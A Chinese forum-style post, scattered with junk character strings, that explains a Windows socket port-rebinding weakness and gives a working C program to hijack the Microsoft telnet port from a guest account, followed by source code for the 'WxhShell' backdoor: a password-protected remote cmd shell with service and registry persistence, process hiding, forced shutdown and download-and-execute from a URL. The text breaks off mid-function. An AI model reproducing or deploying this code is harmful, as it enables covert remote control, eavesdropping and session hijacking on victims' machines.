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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F-$Kv-f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VGfD;8]z XQ4dohGCP saddr.sin_family = AF_INET; D)h["z|F u^!&{ q saddr.sin_addr.s_addr = htonl(INADDR_ANY); [rc'/@L jzQ9zy_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rpx0|{m o%$<LaQG5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BSjbnnW}" t
]71 这意味着什么?意味着可以进行如下的攻击: )ynA:LXx zz[g{[SN 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s8{-c^G:R a
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2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >c&4_?d&,A 'T6B_9GQ8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MM=W9# #*[,woNk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 gD,A9a(3 6vMDm0sv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {_": /A |+>%o.M&i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =%:JjgKc*t X
S6]C{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \,$r,6-g zojuH8 #include Q9Q!9B@ #include c1 gz#, #include rE!G,^_{ #include "cIGNTLFA DWORD WINAPI ClientThread(LPVOID lpParam); A/ox#(!v int main() Nck!z8 { &C
CHxjsKR WORD wVersionRequested; 50}.Xm@,BO DWORD ret; /h{go]&Nb WSADATA wsaData; 1\M"`L/ BOOL val; 3s88#_eT SOCKADDR_IN saddr; QwKky ^A SOCKADDR_IN scaddr; qz-#LZFTR int err; uzat."`d' SOCKET s; H>gWxJ
5 SOCKET sc; N]3-L`t int caddsize; b(+w.R(+Ti HANDLE mt; Rfkzv=<"X DWORD tid; ]1YYrgi7 wVersionRequested = MAKEWORD( 2, 2 ); 03i?"MvNo err = WSAStartup( wVersionRequested, &wsaData ); (cPeee%Q if ( err != 0 ) { 5n&)q=jk= printf("error!WSAStartup failed!\n"); ,3fuX~g return -1; ,f-T1v" } E.5*Jr=J saddr.sin_family = AF_INET; Wwa41z uFA|rX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /j=DC9_ ovo? lE-a0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bd N{[2 saddr.sin_port = htons(23); [[.&,6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /ze_{{o { $=@9 D,R printf("error!socket failed!\n"); '&_y*"/c return -1; Vsm%h^]d } N9>'/jgZX val = TRUE; : .FfE //SO_REUSEADDR选项就是可以实现端口重绑定的 $_I%1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) utFcFdX { g:uaI printf("error!setsockopt failed!\n"); ~L4*b*W return -1; F$sF
'cw } 2F*Dkv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $2 +$,: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7E\K!v_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %BKR} /pSUn"3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z9);e8ck { 7-G'8t ret=GetLastError(); F]dd># printf("error!bind failed!\n"); 5,=B1 return -1; J _[e9 } 99+/W*C listen(s,2); Ilt L@]e while(1) #ZYidt { X{9JSq caddsize = sizeof(scaddr); y9re17{
X //接受连接请求 ]B-$p p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k1 LtqV if(sc!=INVALID_SOCKET) 5LhJ8$W { J*q=C%}. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i"\AyKiJ if(mt==NULL) -$]DO5fY { *F%ol;|Q printf("Thread Creat Failed!\n"); 3Mh,NQB break; 1l`s1C } 2'UFHiK } A86lyBDQ* CloseHandle(mt); PE6u8ZAb" } ,j(p}t closesocket(s); - R8!"~o WSACleanup(); (J;zk b return 0; KiRt' } $et
: DWORD WINAPI ClientThread(LPVOID lpParam) v BeU { C&s }m0R SOCKET ss = (SOCKET)lpParam; NE>JtTF< SOCKET sc; Mbi+Vv- unsigned char buf[4096]; ]JCB^)tM SOCKADDR_IN saddr; !y2h`ZAZ long num; __zu-!v DWORD val; 'N5r2JL[w DWORD ret; l<MCmKuYp //如果是隐藏端口应用的话,可以在此处加一些判断 t;f
p<z7N. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 u b>K^ saddr.sin_family = AF_INET; fz?Wr: I saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nKa;FaJ saddr.sin_port = htons(23); !CMVZf;u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |u@>[*k'= { A)p!w aG printf("error!socket failed!\n"); @LMV ? return -1; =z/mI y< } *[5#g3 val = 100; Kmf-l*7} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r- "`Abev { XxU}|jTO# ret = GetLastError(); kC#B7*[RM return -1; f'yd{ihFp } o!dkS/u-m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~~E=E;9 { 5lA 8e ret = GetLastError(); F-OZIo return -1; 21k-ob1Y } $gtT5{"PN( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T-cVM>u\D { WaK{/6?T, printf("error!socket connect failed!\n"); l|QFNW[i closesocket(sc); v__Go kj- closesocket(ss); E0x$;CG! return -1; 6h*bcb#C } ',ybHW%D%i while(1) "@|V.d@ { SmEd'YD!J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !g:G{b //如果是嗅探内容的话,可以再此处进行内容分析和记录 tKViM@T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ",@g num = recv(ss,buf,4096,0); _4#psxl[M if(num>0) L}pFb@ send(sc,buf,num,0); O g~"+IGp else if(num==0) XD>@EYN<X break; TZ]Gl4@ num = recv(sc,buf,4096,0); QlXF:Gx"= if(num>0) &otgN<H9 send(ss,buf,num,0);
W/QOG&g else if(num==0) 'bO? =+c break; j_<n~ri- } [uV/ Ra*g closesocket(ss); 7ZnQ] ?
closesocket(sc); tzN;;h4C return 0 ; 74OM tLL$ } wZb@VG}% p=T\3_q >#|Q,hVU5 ========================================================== fJV VW nxRrmR}F 下边附上一个代码,,WXhSHELL _n gMC]-T ~PAn
_]Z ========================================================== aN3{\^ Q{-r4n|b #include "stdafx.h" &Wk<F3qN "MN'%"/ #include <stdio.h> [uHI
6Q# #include <string.h> (#Aq*2Z. #include <windows.h> (8R
M|& #include <winsock2.h> s3^SjZb #include <winsvc.h> L
*@>/N #include <urlmon.h> }y/t~f+ > `M\xt #pragma comment (lib, "Ws2_32.lib") s[bKGn@ #pragma comment (lib, "urlmon.lib") 5+Ut]AL5 _m-r}9au
#define MAX_USER 100 // 最大客户端连接数 lEs/_f3;A #define BUF_SOCK 200 // sock buffer pn|{P<b\ #define KEY_BUFF 255 // 输入 buffer `,"Jc<R7Z hn.fX:} #define REBOOT 0 // 重启 p,fin?nW c #define SHUTDOWN 1 // 关机 >6q@Tr hT#mM*` #define DEF_PORT 5000 // 监听端口 G7?EaLsfQ `rV,<
#define REG_LEN 16 // 注册表键长度 "{lnSLk #define SVC_LEN 80 // NT服务名长度 )-oNy-YL f*Bc`+G // 从dll定义API C5z4%,`f typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ZH=$c*W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mt`.|N;y! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {HeMdGn9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CqV
\:50g G
y2XjO8b // wxhshell配置信息 #s%$kYp 1 struct WSCFG { I%Z&i-33y int ws_port; // 监听端口 \D=B-dREq char ws_passstr[REG_LEN]; // 口令 9Wn0YIc int ws_autoins; // 安装标记, 1=yes 0=no zZ63
P char ws_regname[REG_LEN]; // 注册表键名 "+AD+D char ws_svcname[REG_LEN]; // 服务名 1+'3{m \5T char ws_svcdisp[SVC_LEN]; // 服务显示名 z,WrLZC char ws_svcdesc[SVC_LEN]; // 服务描述信息 B!0[LlF+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <V{BRRx int ws_downexe; // 下载执行标记, 1=yes 0=no "P~>AXcq char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 6822xk char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aU@z\sQ hS
Sq=(S }; BKk*<WMD 81&!!qhfS // default Wxhshell configuration Sl1N V struct WSCFG wscfg={DEF_PORT, cP,jC(<N "xuhuanlingzhe", G>j/d7 1, xUYSD "Wxhshell", &
CgLF] "Wxhshell", RN0Rk 8AC "WxhShell Service", !jm
a -- "Wrsky Windows CmdShell Service", Wo&i)S<i0F "Please Input Your Password: ", +x`tvo 1, 2mRso.Ah " http://www.wrsky.com/wxhshell.exe", |zf||ju "Wxhshell.exe" Ua4} dW[w }; U1Oq"Ij~ Z(s}
#- // 消息定义模块 < mxUgU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h W-[omr0 char *msg_ws_prompt="\n\r? for help\n\r#>"; "3K0 wR5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *UTk. :G5 char *msg_ws_ext="\n\rExit."; x/ez=yd*l char *msg_ws_end="\n\rQuit."; ; -3M char *msg_ws_boot="\n\rReboot..."; NJ~'`{3v char *msg_ws_poff="\n\rShutdown..."; C9fJLCufC char *msg_ws_down="\n\rSave to "; +CACs7tV XH/|jE.9^| char *msg_ws_err="\n\rErr!"; |:AjQ&PM) char *msg_ws_ok="\n\rOK!"; ixp %aRRP /a,q4tD@ char ExeFile[MAX_PATH]; U|>Js!$ int nUser = 0; up`6IWlLE HANDLE handles[MAX_USER]; >+1bTt/-F int OsIsNt; D=8=wT2< Gce![<|ph SERVICE_STATUS serviceStatus; 3TJNlS SERVICE_STATUS_HANDLE hServiceStatusHandle; $wBUu m~}nM |m% // 函数声明 M|\XFO int Install(void); -v]7}[
.[ int Uninstall(void); jWm<!<~ int DownloadFile(char *sURL, SOCKET wsh); J9o]$.e int Boot(int flag); #PiW\Tq void HideProc(void); D;Z\GnD int GetOsVer(void); H.YntFtD' int Wxhshell(SOCKET wsl); H7uW|'XWz void TalkWithClient(void *cs); ?&[`=ZVn int CmdShell(SOCKET sock); zfS`@{;F`| int StartFromService(void); XX+4X*(o int StartWxhshell(LPSTR lpCmdLine); c+q4sNnE V%"aU}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x]F:~(P VOID WINAPI NTServiceHandler( DWORD fdwControl ); J"|o g|Tz V-VR+ Ndz // 数据结构和表定义 q$\KE4v" SERVICE_TABLE_ENTRY DispatchTable[] = z+;+c$X { Nkc=@l{ {wscfg.ws_svcname, NTServiceMain}, SlmgFk!r! {NULL, NULL} 1B 2>8N }; emTqbO qg|SBQ?6 // 自我安装 9OX&;O+5 int Install(void) p2\@E}
z { E<0Y;tR char svExeFile[MAX_PATH]; 1X]?-+',. HKEY key; <"6}C)G strcpy(svExeFile,ExeFile);
2|m461 xM[m(m // 如果是win9x系统,修改注册表设为自启动 dtJ?J<m} if(!OsIsNt) { ?8pR RzV$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y4+Km*am,W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I_\j05 RegCloseKey(key); l1nrJm8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]e!9{\X,* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NU O9, RegCloseKey(key); Ubv<3syR' return 0; Tw8$6KUW } )ui]vS:> } (*F/^4p!$ } l%L..WCT] else { ^Yul|0*J t
7 dcaNBZ // 如果是NT以上系统,安装为系统服务 s9X?tWuL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DJR_"8 if (schSCManager!=0) jYI\.bc { 22$M6Qof]n SC_HANDLE schService = CreateService gA D, ( P 9c! schSCManager, },+ &y^ wscfg.ws_svcname, ^zn&"@ wscfg.ws_svcdisp, lk;4l Z SERVICE_ALL_ACCESS, >cJf D9-<h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vq/3a SERVICE_AUTO_START, MfNsor SERVICE_ERROR_NORMAL, ^ZuwUuuf svExeFile, Qh3BI?GZ'3 NULL, F=EG#<@u NULL, 4h~CDy%_ NULL, KDxqz$14- NULL, Kjzo>fIC{ NULL -aPRLHR ); %^Zu^uu if (schService!=0) y!eT>4Oyg { zo83>bt CloseServiceHandle(schService); ]-g9dV_[>j CloseServiceHandle(schSCManager); gv\WI4"n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sBm)D=Kll strcat(svExeFile,wscfg.ws_svcname); X)Zc*9XA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +adwEYRrr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v9*31Jx RegCloseKey(key); ]sLdz^E3D return 0; q<[m(]: } *\gYs{, } '9u(9S CloseServiceHandle(schSCManager); H Q :Y: } O#MaZ.= } Xrl# DN /L{V3}[j return 1; WF] |-)vw } -kzp>= iVT)V>U p // 自我卸载 tJ$gH; int Uninstall(void) `NySTd)\ { fDjJdRS" HKEY key; []:&WA9N L8,/ if(!OsIsNt) { ;W{2\ Es if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Q=I`H_ RegDeleteValue(key,wscfg.ws_regname); T].Xx` RegCloseKey(key); fU<_bg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ 6b27_= RegDeleteValue(key,wscfg.ws_regname); " %
l`` RegCloseKey(key); HSR,moI return 0; xL [3R
} a(IUAh*mO } s+t[{i4| } U4=m>Ty else { 2q4-9vu m$bYx~K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m*|G2 if (schSCManager!=0) BD-
c<K" { }Qa SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '>cZ7: if (schService!=0) =%SH2kb { Q[Gs%/> if(DeleteService(schService)!=0) { Y0yu, CloseServiceHandle(schService); v:"Y CloseServiceHandle(schSCManager); vddl9"V) return 0; O"}O~lZ[6T } s.^+y7$ CloseServiceHandle(schService); IdoS6 } (ys<{Y-; CloseServiceHandle(schSCManager); &r+!rL Kp } Q!5W x } eus@;l* }{}?mQ return 1; woa|h"T } _\<TjGtG T|p%4hH // 从指定url下载文件 @=OX7zq\h- int DownloadFile(char *sURL, SOCKET wsh) 9"?;H%. { $9h^tP'CV HRESULT hr; !yvw5As % char seps[]= "/"; _hgGF9 char *token; ]c1#_MW char *file; J|
1!4R~ char myURL[MAX_PATH]; 85q!FpuH char myFILE[MAX_PATH]; k*OHI/uiow XZ2 ji_D strcpy(myURL,sURL); n\< uT1n token=strtok(myURL,seps); }zIWagC6 while(token!=NULL) U] P{~ { `a[
V_4wO file=token; ,Iru_=Wk~ token=strtok(NULL,seps); ZFtJoGaR } !C(PfsrR/ - _~\d+>w GetCurrentDirectory(MAX_PATH,myFILE); QRx9;!~b} strcat(myFILE, "\\"); Uu|2!}^T strcat(myFILE, file); ps^["3e send(wsh,myFILE,strlen(myFILE),0); .@\(ay send(wsh,"...",3,0); \p%D;g+c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \TLfLqA if(hr==S_OK) S_ra8HY8 return 0; -v:3#9uX) else t qUBl?i return 1; #%pY,AK:= RU~Pa+H } a5(9~.9 pU<GI@gU // 系统电源模块 GP x+]Jw8\ int Boot(int flag) 3BAQ2S} { r*ziO#[ HANDLE hToken; 5=fS^]- F TOKEN_PRIVILEGES tkp; iVo-z# 3NdO3-~) if(OsIsNt) { (=j/"Mb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dA<SVk*0Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4pZKm-dM^ tkp.PrivilegeCount = 1; `)kxFD_bH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TW
wE3{iF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zad>iw} if(flag==REBOOT) { xTqP`ljX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >[~`rOU*|Y return 0; @1qdnU } 7<(kvE*x else { F=PBEaX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bM }zGFt return 0; Q(R-8" } MwL!2r } 06`caG|]-M else { y-S23B( if(flag==REBOOT) { 4q?R 3\e; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q"WfKz!U return 0; -al } _,? xc" else { b8[
ayy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) crx%;R return 0; eT?vZH[N } bZZ_yc } {DE4PE` |oQhtk8. return 1; jw/@]f;N } |h&okR+_, G7KOJZb+D // win9x进程隐藏模块 I]cZcx,<q void HideProc(void) ZTj!ti;5 { vg1E@rH|} 5A%Uv* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P,#l~ \ if ( hKernel != NULL ) V0*MY{x#S { {IF$\{Al pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .4Mc4' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tVNFulcz$ FreeLibrary(hKernel); Fr<tk^~/ } J<9})
m !<F5W<V return; _s:5) } dsK*YY jH kt7Em b} // 获取操作系统版本 -vh\XO int GetOsVer(void) [(vV45(E { R <&U]%FD OSVERSIONINFO winfo; c0_512 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]w]:9w GetVersionEx(&winfo); d6zq,x!cI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q AsTiT6r return 1; zQB1C else f%P#. return 0; c'Q.2^w^ } K]^Jl0 l{\k\Q !4 // 客户端句柄模块 :#UA!|nV int Wxhshell(SOCKET wsl) @# .a5 { fAR6 SOCKET wsh; D+h`Z]"| struct sockaddr_in client; #9A*B bY DWORD myID; UY)Iu|~0b DtZ7UX\P while(nUser<MAX_USER) \}gITc).j { @y|JIBBRc int nSize=sizeof(client); vJQ_mz wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lf;Uv[^c if(wsh==INVALID_SOCKET) return 1; <[17&F0 ph3dm\U. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +('=RyoT if(handles[nUser]==0) V|4k=_- closesocket(wsh); o<g1; else 4EhWK;ra
nUser++; Ujvk*~: } ~S0T+4$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3IoN. C1-Jj_XQ. return 0; `t7GYmw^# } irn
}.e 9hhYyqGsO // 关闭 socket NDG?Xs [2 void CloseIt(SOCKET wsh) sv#/ 78 ~| { )2bbG4:N closesocket(wsh); K` <`l nUser--; aY%{?8PsB ExitThread(0); :Lq=)'d;6 } ZC&4uNUr lH>6;sE // 客户端请求句柄 f'u[G?C void TalkWithClient(void *cs) ]iaQD _'\ { *35o$P46 !6*4^$i#o SOCKET wsh=(SOCKET)cs; eie u|_ char pwd[SVC_LEN]; :;o?d&C char cmd[KEY_BUFF]; t=dZM}wj_\ char chr[1]; V`LW~P;
int i,j; liTAV9< P1"g62R while (nUser < MAX_USER) { ,>I_2mc 62>/0_m5 if(wscfg.ws_passstr) { ~h444Hp= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o%v,6yv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PML84*K - //ZeroMemory(pwd,KEY_BUFF); +fq;o8q i=0; ,jMV
#H[
while(i<SVC_LEN) { P)hawH=
58/\ // 设置超时 Wr.~Ns< fd_set FdRead; "'6R|<u=: struct timeval TimeOut; 6
ZVD<C :\ FD_ZERO(&FdRead); b'4r5@GO FD_SET(wsh,&FdRead); SrXuiiK TimeOut.tv_sec=8; 6 bt{j TimeOut.tv_usec=0; w7_2JS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'a enhj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8j!(*'J. L&~>(/*7U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -!ERe@k( pwd =chr[0]; ZQrgYeQl" if(chr[0]==0xd || chr[0]==0xa) { 8\8%FSrc pwd=0; Uc|MfxsL break; ij1g2^],4 } =|bW >y i++; IN94[yW{1 } " qrL:, F6#U31Q= // 如果是非法用户,关闭 socket .@]M'S^1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n!y}p q6 } [0hZg lpeo^Y}N send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l ~ /y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *g/@-6 g].hL while(1) { U*em)/9 sR*JU% ZeroMemory(cmd,KEY_BUFF); .[#bOp* Q Ph6
p3bg // 自动支持客户端 telnet标准 &g-uQBQI# j=0; J'y*>dW while(j<KEY_BUFF) { U9p^?\-= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R|H_F#eVn} cmd[j]=chr[0]; o] 7U;W if(chr[0]==0xa || chr[0]==0xd) { )hai?v~g cmd[j]=0; v;@-bED(Qs break; >qI|g={M } S+YbsLf j++; JP<Z3
A2q } emI]'{_G d\ Z#XzI8 // 下载文件 8h2! 8' if(strstr(cmd,"http://")) { oos35xV. send(wsh,msg_ws_down,strlen(msg_ws_down),0); N]sX
r if(DownloadFile(cmd,wsh)) $'Hg}|53 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ynN[N(m# else AcF;5h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }f6x> } :8aIj_qds else { _dEf@== ~>)GW switch(cmd[0]) { #|8!0]n' L$x/T3@ // 帮助 gGU3e(!Uc case '?': { >}/"gx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [zR
raG\ break; 1p&?MxLN-a } 0r=Lilu{q // 安装 '
n~N*DH case 'i': { Y^S0K'N if(Install()) *(d^k; send(wsh,msg_ws_err,strlen(msg_ws_err),0); a@,tf'Sr else $b$r,mc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V|HSIJ#J break; 3g|O2>*? } sS(^7GARa // 卸载 !1"~tA!+p= case 'r': { +I\bs.84 if(Uninstall()) &[\rnJ?D send(wsh,msg_ws_err,strlen(msg_ws_err),0); HNjkRl)QR else 9f,HjRP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z@C
D1+ G break; ~?b(2gn } !8=uBS% // 显示 wxhshell 所在路径 8@+YcN;-> case 'p': { V(!b!i@ char svExeFile[MAX_PATH]; PL+fLCk,I strcpy(svExeFile,"\n\r"); Y@.JW strcat(svExeFile,ExeFile); &*)tqQeQf send(wsh,svExeFile,strlen(svExeFile),0); V">Uh@[J_ break; *.nqQhW } U5H o? `< // 重启 >2g CM case 'b': { :Dr&
{3> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;_Rx|~!! if(Boot(REBOOT)) SV\x2^Ea0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); x(=kh%\; else { !w)Mm P Xb closesocket(wsh); aF;TsB ExitThread(0); J<`RlDI } 9lD,aOb break; TM^1{0;r5 } )$]+R?v // 关机 H|TzD"2N case 'd': { M5x!84 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Czci6Lz if(Boot(SHUTDOWN)) x!$,Hcph, send(wsh,msg_ws_err,strlen(msg_ws_err),0); no/]Me!j= else { tm|lqa closesocket(wsh); XsG]-Cw ExitThread(0); AngECkF- } b?bYPN+ break; {//F>5~[ } `-/l$A}
U // 获取shell g~y9j88? case 's': { V?O%k d CmdShell(wsh); bK].qN closesocket(wsh); H3c=B /+ ExitThread(0); dI 5sqM: break; vV[dJ% } z^Jl4V // 退出 *M|\B|A. case 'x': { d=#p w*w send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x<Zhj3 CloseIt(wsh); YT5>pM-% break; K8UAz" } %)/f; T6 // 离开 gZjOlp case 'q': { [[e |GQ send(wsh,msg_ws_end,strlen(msg_ws_end),0); g&Z7h4!\ closesocket(wsh); :xw3b)KS WSACleanup(); N-rmk exit(1); ;ULC|7rL break; bJ|?5 } q`aY.dD=O } B\_u${C } &Bn; Vi s\W // 提示信息 z}1xy+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z9ShP&^4[ } s1vrzze } p??/r tHtV[We.: return; !/}FPM_ } A'(7VJ $G_Q`w=jM // shell模块句柄 >Mn>P! int CmdShell(SOCKET sock) wz+5
8( { 2 1~7{# STARTUPINFO si; z@~&Kwf\} ZeroMemory(&si,sizeof(si)); ~B!O~nvdQ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F:J7|<J^F si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $W$# CTM PROCESS_INFORMATION ProcessInfo; P/pjy char cmdline[]="cmd"; n`)7Y`hBhP CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V+qJrZ,i return 0; yvz?4m"_yB } -2&i)S0R KO|pJ3 // 自身启动模式 ,k~j6Z int StartFromService(void) _IL2-c8 { R|1xXDLm*E typedef struct `x}
Dk<HF { k\pDJ7wF^ DWORD ExitStatus; uyNJN DWORD PebBaseAddress; 'qV3O+@MF DWORD AffinityMask; vWl[l
-E DWORD BasePriority; d9Z&qdxTKq ULONG UniqueProcessId; \E@s_fQ] ULONG InheritedFromUniqueProcessId; RxZm/:yuJ. } PROCESS_BASIC_INFORMATION; %f(S'<DhC w,Z"W;| PROCNTQSIP NtQueryInformationProcess; BF36V\ e3eVvl5] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]jc_=I6) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kej|1g1f |mxNUo- HANDLE hProcess; ,;.B4 PROCESS_BASIC_INFORMATION pbi; dC`tN5 st?gA"5w HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7]|zkjgI if(NULL == hInst ) return 0; Dz`k[mI M!gBmQZ1 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); py{eX`(MS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0e+W/Tq NtQueryInformationProcess = 